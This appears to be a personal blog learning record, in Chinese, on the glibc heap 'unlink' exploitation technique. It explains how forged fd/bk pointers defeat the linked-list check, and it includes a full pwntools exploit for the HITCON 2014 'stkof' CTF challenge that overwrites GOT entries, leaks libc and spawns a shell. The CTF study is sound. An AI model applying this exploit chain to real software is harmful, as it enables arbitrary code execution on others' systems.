Unlink学习记录

Overview

  1. unlink俗称脱链,就是将链表头处的free堆块从unsorted bin中脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或向后合并),再放入到unsorted bin中。
  2. 危害原理:通过伪造free状态的fake_chunk,伪造fdbk指针,通过绕过unlink的检测实现unlink使其往p所在的位置写入p-0x18,从而实现任意地址写的漏洞。
  3. 漏洞产生原因:Offbynulloffbyone、堆溢出,原因是修改了堆块的使用标志位。

源码解读

/*malloc.c  int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
      p = chunk_at_offset(p, -((long) prevsize)); 
     
      unlink(p, bck, fwd);
}
  1. 进行判断:看当前堆块中p这个标志位,如果p设置为0则为free状态,则进行unlink,否则反之;

  2. 先提取prev_size,然后当前size+prev_size,此时指针会指向当前chunk的前一个堆块,合并后的指针地址为:free的堆块地址 - 前一个chunk大小,此时p指针则会从现在的堆块跳到前一个堆块;

prevsize = p->prev_size;
size += prevsize;
  1. 最后是将这个堆块和相邻的(这里是上一个)一起unlink。
//相关函数说明:
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s))) 
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
             malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    FD->bk = BK;                                  \
    BK->fd = FD;                                  \
    ...
}

unlink函数是如何定义的:

  1. 从合并后新指针地址中提取出fd指针和bk指针作为临时变量;

  2. 这里有一个check,检查FD的bk和BK的fd是否指向当前堆块,若不通过则不进行unlink;

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
   	malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  1. 通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。

unlink的绕过和利用

我们伪造如下信息:

  1. chunk = 0x0602280 (P是将要合并到的堆地址,P存在chunk中,相当于 *chunk = P)
  2. P_fd = chunk - 0x18 = 0x0602268
  3. P_bk = chunk - 0x10 = 0x0602270

我在学习的过程中此处卡住了,对于为什么是减去0x180x10这两个值我们在此复习一下为什么是减去0x180x10,在 glibc 的 malloc 实现(ptmalloc)中,在释放前、不在 bin 中时,chunk 结构为:

struct malloc_chunk {
    size_t      prev_size;  // 0x00 偏移(如果前一个块空闲,才有用)
    size_t      size;       // 0x08 偏移(包含标志位)
    struct malloc_chunk* fd;   // 0x10 偏移(仅在 bin 中使用)
    struct malloc_chunk* bk;   // 0x18 偏移
    // ... 更后面还有 fd_nextsize, bk_nextsize(large bin)
};

而回顾上面的内容有这样的一条:“通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。”

绕过技巧

define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \FD = 0x602268
    BK = P->bk;                                   \BK = 0x602270
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))    \FD->bk  = *(0x602268+0x18) | *(0x602280) = P 
	\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!              
             malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    FD->bk = BK;                                  \*(0x602268+0x18) | *(0x602280)  = 0x602270
    BK->fd = FD;                                  \ *(0x602270+0x10) | *(0x602280) = 0x602268
    ...
}
  1. 绕过检查可以总结成:FD>bk==PFD->bk == PBK>fd==PBK->fd == P,等价于: (Pfd+0x18)==P*(P_fd + 0x18) == P(Pbk+0x10)==P*(P_bk + 0x10) == P
  2. 可以构造成
P_fd = P - 0x18
P_bk = P - 0x10

即:

FD = P - 0x18
FD->bk = (P - 0x18) + 0x18 = P → 内容等于 P(绕过)

BK = P - 0x10
BK->fd = (P - 0x10) + 0x10 = P → 内容等于 P(绕过)

总结起来就是:P->fd 指向 P - 0x18P->bk 指向 P - 0x10,就能绕过 FD->bk == PBK->fd == P 检查,并使 \*P 被覆写为 P - 0x18

2014 HITCON stkof

  1. 堆布局
  2. 伪造 fake chunk
  3. fd/bk = ptr-0x18/ptr-0x10
  4. 修改 next chunk 的 prev_size/size
  5. unlink 写全局指针
  6. 写 GOT 表项
  7. 先 leak 后 getshell

EXP:

from pwn import *

from LibcSearcher import *
context.log_level = 'debug'

#libc = ELF('./libc.so.6')
#sh = process("./stkof")
sh = remote("node5.buuoj.cn",25830)
stkof = ELF('./stkof')
head = 0x602140
def malloc(size):
    sh.sendline(b'1')
    sh.sendline(str(size))
    sh.recvuntil(b'OK\n')

def edit(idx,size,content):
    sh.sendline(b'2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def free(idx):
    sh.sendline(b'3')
    sh.sendline(str(idx))


malloc(0x100)   
malloc(0x30)    
malloc(0x80)   

payload = p64(0)        #pre_size = 0
payload += p64(0x20)    #fake size
payload += p64(head + 0x10 - 0x18) 
payload += p64(head + 0x10 - 0x10) 
payload += p64(0x20)    

payload = payload.ljust(0x30,b'a')
payload += p64(0x30)   

payload += p64(0x90)    

edit(2, len(payload), payload) 

free(3) 
sh.recvuntil('OK\n')

payload2 = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])

edit(2,len(payload2),payload2)   
payload3 = p64(stkof.plt['puts'])

edit(0,len(payload3),payload3)    

free(1)                     

puts_addr = u64(sh.recvuntil('\nOK\n', drop=True).ljust(8,b'\x00'))    
#
# libc_base = puts_addr - libc.symbols['puts']
# binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# system_addr = libc_base + libc.symbols['system']
#
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')

payload4 = p64(system_addr)
binsh_addr =libc_base + libc.dump('str_bin_sh')

edit(2, len(payload4), payload4)
sh.send(p64(binsh_addr))
sh.interactive()

References


Unlink学习记录
https://zer0ptr.github.io/2026/02/11/heap-ptmalloc2-unlink/
Author
zer0ptr
Posted on
February 11, 2026
Licensed under